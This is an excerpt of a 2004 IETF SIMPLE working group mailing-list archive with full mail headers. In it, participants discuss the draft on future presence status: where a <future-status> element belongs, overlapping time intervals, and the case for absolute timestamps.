	by ietf-mx with esmtp (Exim 4.12)
	id 1Axphy-0007V2-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:51:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxpUL-0002xD-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:37:52 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axp38-0003GO-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:09:42 -0500
Received: from dynamicsoft.com (dyn-tx-app-004.dfw.dynamicsoft.com [63.110.3.2])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i21F9CNr011417;
	Mon, 1 Mar 2004 10:09:13 -0500 (EST)
Message-ID: <40435205.1040007@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] Comments on draft-ietf-simple-future
References: <4041D501.6040906@dynamicsoft.com> <4042A88A.1070109@cisco.com>
In-Reply-To: <4042A88A.1070109@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 10:08:53 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Paul Kyzivat wrote:

> 
> 
> Jonathan Rosenberg wrote:
> 
>>>  Future status cannot be expressed with <tuples> elements with
>>>    optional extensions since PIDF parsers would not be able to
>>>    distinguish current from future or past information.
>>
>>
>>
>> I think you mean <tuple> elements. In any case, this text is not quite 
>> right. You are in fact extending <tuple> with an optional extension, 
>> <future-status>. What I think you mean is that you cannot just extend 
>> an existing element, like <activity>, with attributes that define the 
>> future status, because these would not be understood and thus 
>> misinterpreted as current status.
> 
> 
> Not only can't, but don't want to. The goal is to provide a way to use 
> all the normal attributes that define current status to define future 
> status as well. So the goal is to provide a separate context in which 
> the existing elements may be used where they won't be misunderstood by 
> those who don't understand this extension.
> 
>> Unfortunately, the nature of the schemas is that the new one cannot 
>> say where in the PIDF document this is supposed to go. You need to 
>> specify that this element MUST be a child of <tuple>. Also, can you 
>> have more than one (I think so)? In that case, can they represent 
>> overlapping times (I think so)?
> 
> 
> That is an ugly case, because when there is an overlap, which takes 
> precedence?

I had in mind cases where the attributes in the overlapping time-spaces 
themselves did not overlap, e.g., i was <busy> from 10am-11am and <in a 
meeting> from 1030am to noon.

I suppose we could just mandate that the PA only generate notifications 
with non-overlapping intervals. This forces the PA to do any kind of 
precedence computations. I think the PA is the only one that can do it.

-Jonathan R.



-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Mon Mar  1 11:44:58 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA19258
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 11:42:37 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqUa-0007VU-9L
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 11:42:08 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i21Gg8RJ028846
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 11:42:08 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqUZ-0007Ul-H8
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 11:42:07 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18629
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 11:42:02 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqID-000474-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 11:29:21 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxqGa-0003jB-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 11:27:44 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqE9-0002f7-00; Mon, 01 Mar 2004 11:25:09 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AxqE9-0001NU-S7; Mon, 01 Mar 2004 11:25:10 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqE3-0005YY-Mp; Mon, 01 Mar 2004 11:25:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqDE-0005US-Pd
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 11:24:12 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA16082
	for <simple@ietf.org>; Mon, 1 Mar 2004 11:24:10 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqB4-0001uU-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:21:58 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxqAG-0001Or-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:21:09 -0500
Received: from zrc2s0jx.nortelnetworks.com ([47.103.122.112])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axq9h-0001Hk-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:20:33 -0500
Received: from zrc2c011.us.nortel.com (zrc2c011.us.nortel.com [47.103.120.51])
	by zrc2s0jx.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id i21GJkr12756;
	Mon, 1 Mar 2004 10:19:46 -0600 (CST)
Received: by zrc2c011.us.nortel.com with Internet Mail Service (5.5.2653.19)
	id <FS343TX9>; Mon, 1 Mar 2004 10:19:46 -0600
Message-ID: <161AA64DA85DFC4BA4D2EB5629B5975304EECE9B@zrc2c012.us.nortel.com>
From: "Brian Stucker" <bstucker@nortelnetworks.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>,
        Paul Kyzivat
	 <pkyzivat@cisco.com>
Cc: Simple WG <simple@ietf.org>
Subject: RE: [Simple] Comments on draft-ietf-simple-future
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C3FFA8.DED903FE"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 10:19:40 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.5 required=5.0 tests=AWL,HTML_20_30,HTML_MESSAGE 
	autolearn=no version=2.60

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C3FFA8.DED903FE
Content-Type: text/plain;
	charset="iso-8859-1"

On a similar note... I didn't want to bring this up during the meeting today
because of the compressed schedule, but are we really happy with using
absolute time stamps? I'm a bit worried about using them when we've gone
back and gotten rid of them elsewhere in the protocol. Am I just being
paranoid?

Regards,

Brian

-----Original Message-----
From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
Sent: Monday, March 01, 2004 9:09 AM
To: Paul Kyzivat
Cc: Simple WG
Subject: Re: [Simple] Comments on draft-ietf-simple-future




Paul Kyzivat wrote:

> 
> 
> Jonathan Rosenberg wrote:
> 
>>>  Future status cannot be expressed with <tuples> elements with
>>>    optional extensions since PIDF parsers would not be able to
>>>    distinguish current from future or past information.
>>
>>
>>
>> I think you mean <tuple> elements. In any case, this text is not quite 
>> right. You are in fact extending <tuple> with an optional extension, 
>> <future-status>. What I think you mean is that you cannot just extend 
>> an existing element, like <activity>, with attributes that define the 
>> future status, because these would not be understood and thus 
>> misinterpreted as current status.
> 
> 
> Not only can't, but don't want to. The goal is to provide a way to use 
> all the normal attributes that define current status to define future 
> status as well. So the goal is to provide a separate context in which 
> the existing elements may be used where they won't be misunderstood by 
> those who don't understand this extension.
> 
>> Unfortunately, the nature of the schemas is that the new one cannot 
>> say where in the PIDF document this is supposed to go. You need to 
>> specify that this element MUST be a child of <tuple>. Also, can you 
>> have more than one (I think so)? In that case, can they represent 
>> overlapping times (I think so)?
> 
> 
> That is an ugly case, because when there is an overlap, which takes 
> precedence?

I had in mind cases where the attributes in the overlapping time-spaces 
themselves did not overlap, e.g., i was <busy> from 10am-11am and <in a 
meeting> from 1030am to noon.

I suppose we could just mandate that the PA only generate notifications 
with non-overlapping intervals. This forces the PA to do any kind of 
precedence computations. I think the PA is the only one that can do it.

-Jonathan R.



-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple

------_=_NextPart_001_01C3FFA8.DED903FE
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2656.31">
<TITLE>RE: [Simple] Comments on draft-ietf-simple-future</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>On a similar note... I didn't want to bring this up =
during the meeting today because of the compressed schedule, but are we =
really happy with using absolute time stamps? I'm a bit worried about =
using them when we've gone back and gotten rid of them elsewhere in the =
protocol. Am I just being paranoid?</FONT></P>

<P><FONT SIZE=3D2>Regards,</FONT>
</P>

<P><FONT SIZE=3D2>Brian</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Jonathan Rosenberg [<A =
HREF=3D"mailto:jdrosen@dynamicsoft.com">mailto:jdrosen@dynamicsoft.com</=
A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Monday, March 01, 2004 9:09 AM</FONT>
<BR><FONT SIZE=3D2>To: Paul Kyzivat</FONT>
<BR><FONT SIZE=3D2>Cc: Simple WG</FONT>
<BR><FONT SIZE=3D2>Subject: Re: [Simple] Comments on =
draft-ietf-simple-future</FONT>
</P>
<BR>
<BR>
<BR>

<P><FONT SIZE=3D2>Paul Kyzivat wrote:</FONT>
</P>

<P><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Jonathan Rosenberg wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt;&gt;&gt;&nbsp; Future status cannot be expressed =
with &lt;tuples&gt; elements with</FONT>
<BR><FONT SIZE=3D2>&gt;&gt;&gt;&nbsp;&nbsp;&nbsp; optional extensions =
since PIDF parsers would not be able to</FONT>
<BR><FONT SIZE=3D2>&gt;&gt;&gt;&nbsp;&nbsp;&nbsp; distinguish current =
from future or past information.</FONT>
<BR><FONT SIZE=3D2>&gt;&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;&gt; I think you mean &lt;tuple&gt; elements. In =
any case, this text is not quite </FONT>
<BR><FONT SIZE=3D2>&gt;&gt; right. You are in fact extending =
&lt;tuple&gt; with an optional extension, </FONT>
<BR><FONT SIZE=3D2>&gt;&gt; &lt;future-status&gt;. What I think you =
mean is that you cannot just extend </FONT>
<BR><FONT SIZE=3D2>&gt;&gt; an existing element, like &lt;activity&gt;, =
with attributes that define the </FONT>
<BR><FONT SIZE=3D2>&gt;&gt; future status, because these would not be =
understood and thus </FONT>
<BR><FONT SIZE=3D2>&gt;&gt; misinterpreted as current status.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Not only can't, but don't want to. The goal is =
to provide a way to use </FONT>
<BR><FONT SIZE=3D2>&gt; all the normal attributes that define current =
status to define future </FONT>
<BR><FONT SIZE=3D2>&gt; status as well. So the goal is to provide a =
separate context in which </FONT>
<BR><FONT SIZE=3D2>&gt; the existing elements may be used where they =
won't be misunderstood by </FONT>
<BR><FONT SIZE=3D2>&gt; those who don't understand this =
extension.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt;&gt; Unfortunately, the nature of the schemas is =
that the new one cannot </FONT>
<BR><FONT SIZE=3D2>&gt;&gt; say where in the PIDF document this is =
supposed to go. You need to </FONT>
<BR><FONT SIZE=3D2>&gt;&gt; specify that this element MUST be a child =
of &lt;tuple&gt;. Also, can you </FONT>
<BR><FONT SIZE=3D2>&gt;&gt; have more than one (I think so)? In that =
case, can they represent </FONT>
<BR><FONT SIZE=3D2>&gt;&gt; overlapping times (I think so)?</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; That is an ugly case, because when there is an =
overlap, which takes </FONT>
<BR><FONT SIZE=3D2>&gt; precedence?</FONT>
</P>

<P><FONT SIZE=3D2>I had in mind cases where the attributes in the =
overlapping time-spaces </FONT>
<BR><FONT SIZE=3D2>themselves did not overlap, e.g., i was &lt;busy&gt; =
from 10am-11am and &lt;in a </FONT>
<BR><FONT SIZE=3D2>meeting&gt; from 1030am to noon.</FONT>
</P>

<P><FONT SIZE=3D2>I suppose we could just mandate that the PA only =
generate notifications </FONT>
<BR><FONT SIZE=3D2>with non-overlapping intervals. This forces the PA =
to do any kind of </FONT>
<BR><FONT SIZE=3D2>precedence computations. I think the PA is the only =
one that can do it.</FONT>
</P>

<P><FONT SIZE=3D2>-Jonathan R.</FONT>
</P>
<BR>
<BR>

<P><FONT SIZE=3D2>-- </FONT>
<BR><FONT SIZE=3D2>Jonathan D. Rosenberg, =
Ph.D.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp; 600 Lanidex Plaza</FONT>
<BR><FONT SIZE=3D2>Chief Technology =
Officer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Parsippany, NJ =
07054-2711</FONT>
<BR><FONT SIZE=3D2>dynamicsoft</FONT>
<BR><FONT =
SIZE=3D2>jdrosen@dynamicsoft.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp; FAX:&nbsp;&nbsp; (973) 952-5050</FONT>
<BR><FONT SIZE=3D2><A HREF=3D"http://www.jdrosen.net" =
TARGET=3D"_blank">http://www.jdrosen.net</A>&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp; PHONE: (973) 952-5000</FONT>
<BR><FONT SIZE=3D2><A HREF=3D"http://www.dynamicsoft.com" =
TARGET=3D"_blank">http://www.dynamicsoft.com</A></FONT>
</P>

<P><FONT =
SIZE=3D2>_______________________________________________</FONT>
<BR><FONT SIZE=3D2>Simple mailing list</FONT>
<BR><FONT SIZE=3D2>Simple@ietf.org</FONT>
<BR><FONT SIZE=3D2><A =
HREF=3D"https://www1.ietf.org/mailman/listinfo/simple" =
TARGET=3D"_blank">https://www1.ietf.org/mailman/listinfo/simple</A></FON=
T>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C3FFA8.DED903FE--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 11:59:23 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA21202
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 11:59:23 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axqbm-0000kX-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 11:49:34 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axqaf-0000WH-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 11:48:26 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqZu-0000L7-0E; Mon, 01 Mar 2004 11:47:38 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqUV-0007Sx-7w; Mon, 01 Mar 2004 11:42:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqU1-0007Jy-VQ
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 11:41:34 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18158
	for <simple@ietf.org>; Mon, 1 Mar 2004 11:41:31 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqSG-0006BJ-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:39:44 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxqRI-00064f-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:38:45 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqQJ-0005uq-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:37:43 -0500
Received: from dynamicsoft.com (dyn-tx-app-004.dfw.dynamicsoft.com [63.110.3.2])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i21Gb5Nr011477;
	Mon, 1 Mar 2004 11:37:06 -0500 (EST)
Message-ID: <4043669D.2020308@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Brian Stucker <bstucker@nortelnetworks.com>
CC: Paul Kyzivat <pkyzivat@cisco.com>, Simple WG <simple@ietf.org>
Subject: Re: [Simple] Comments on draft-ietf-simple-future
References: <161AA64DA85DFC4BA4D2EB5629B5975304EECE9B@zrc2c012.us.nortel.com>
In-Reply-To: <161AA64DA85DFC4BA4D2EB5629B5975304EECE9B@zrc2c012.us.nortel.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 11:36:45 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Yes, I think you need them.

The reason is that, if you used relative timestamps, then the timestamps 
need to be recomputed every time the presence document is fetched or 
sent in a notify. This requires a "re-encoding" of the document into XML 
from whatever internal form is being used, and ends up being very 
expensive. Plus, without absolute timestamps, the document doesnt stand 
on its own. It would only be defined relative to the time of delivery in 
a transport protocol. That would prohibit me from putting such a doc on 
a web page, if I so desired (for example).

-Jonathan R.

Brian Stucker wrote:

> On a similar note... I didn't want to bring this up during the meeting 
> today because of the compressed schedule, but are we really happy with 
> using absolute time stamps? I'm a bit worried about using them when 
> we've gone back and gotten rid of them elsewhere in the protocol. Am I 
> just being paranoid?
> 
> Regards,
> 
> Brian
> 
> -----Original Message-----
> From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> Sent: Monday, March 01, 2004 9:09 AM
> To: Paul Kyzivat
> Cc: Simple WG
> Subject: Re: [Simple] Comments on draft-ietf-simple-future
> 
> 
> 
> 
> Paul Kyzivat wrote:
> 
>  >
>  >
>  > Jonathan Rosenberg wrote:
>  >
>  >>>  Future status cannot be expressed with <tuples> elements with
>  >>>    optional extensions since PIDF parsers would not be able to
>  >>>    distinguish current from future or past information.
>  >>
>  >>
>  >>
>  >> I think you mean <tuple> elements. In any case, this text is not quite
>  >> right. You are in fact extending <tuple> with an optional extension,
>  >> <future-status>. What I think you mean is that you cannot just extend
>  >> an existing element, like <activity>, with attributes that define the
>  >> future status, because these would not be understood and thus
>  >> misinterpreted as current status.
>  >
>  >
>  > Not only can't, but don't want to. The goal is to provide a way to use
>  > all the normal attributes that define current status to define future
>  > status as well. So the goal is to provide a separate context in which
>  > the existing elements may be used where they won't be misunderstood by
>  > those who don't understand this extension.
>  >
>  >> Unfortunately, the nature of the schemas is that the new one cannot
>  >> say where in the PIDF document this is supposed to go. You need to
>  >> specify that this element MUST be a child of <tuple>. Also, can you
>  >> have more than one (I think so)? In that case, can they represent
>  >> overlapping times (I think so)?
>  >
>  >
>  > That is an ugly case, because when there is an overlap, which takes
>  > precedence?
> 
> I had in mind cases where the attributes in the overlapping time-spaces
> themselves did not overlap, e.g., i was <busy> from 10am-11am and <in a
> meeting> from 1030am to noon.
> 
> I suppose we could just mandate that the PA only generate notifications
> with non-overlapping intervals. This forces the PA to do any kind of
> precedence computations. I think the PA is the only one that can do it.
> 
> -Jonathan R.
> 
> 
> 
> -- 
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 11:59:59 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA21571
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 11:59:57 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqlN-0000Ki-9q
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 11:59:29 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i21GxTHf001274
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 11:59:29 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqlN-0000J5-4U
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 11:59:29 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA21204
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 11:59:23 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axqbo-0000kl-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 11:49:36 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axqag-0000WO-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 11:48:27 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqZu-0000L7-0E; Mon, 01 Mar 2004 11:47:38 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqUV-0007Sx-7w; Mon, 01 Mar 2004 11:42:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqU1-0007Jy-VQ
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 11:41:34 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18158
	for <simple@ietf.org>; Mon, 1 Mar 2004 11:41:31 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqSG-0006BJ-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:39:44 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxqRI-00064f-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:38:45 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqQJ-0005uq-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:37:43 -0500
Received: from dynamicsoft.com (dyn-tx-app-004.dfw.dynamicsoft.com [63.110.3.2])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i21Gb5Nr011477;
	Mon, 1 Mar 2004 11:37:06 -0500 (EST)
Message-ID: <4043669D.2020308@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Brian Stucker <bstucker@nortelnetworks.com>
CC: Paul Kyzivat <pkyzivat@cisco.com>, Simple WG <simple@ietf.org>
Subject: Re: [Simple] Comments on draft-ietf-simple-future
References: <161AA64DA85DFC4BA4D2EB5629B5975304EECE9B@zrc2c012.us.nortel.com>
In-Reply-To: <161AA64DA85DFC4BA4D2EB5629B5975304EECE9B@zrc2c012.us.nortel.com>
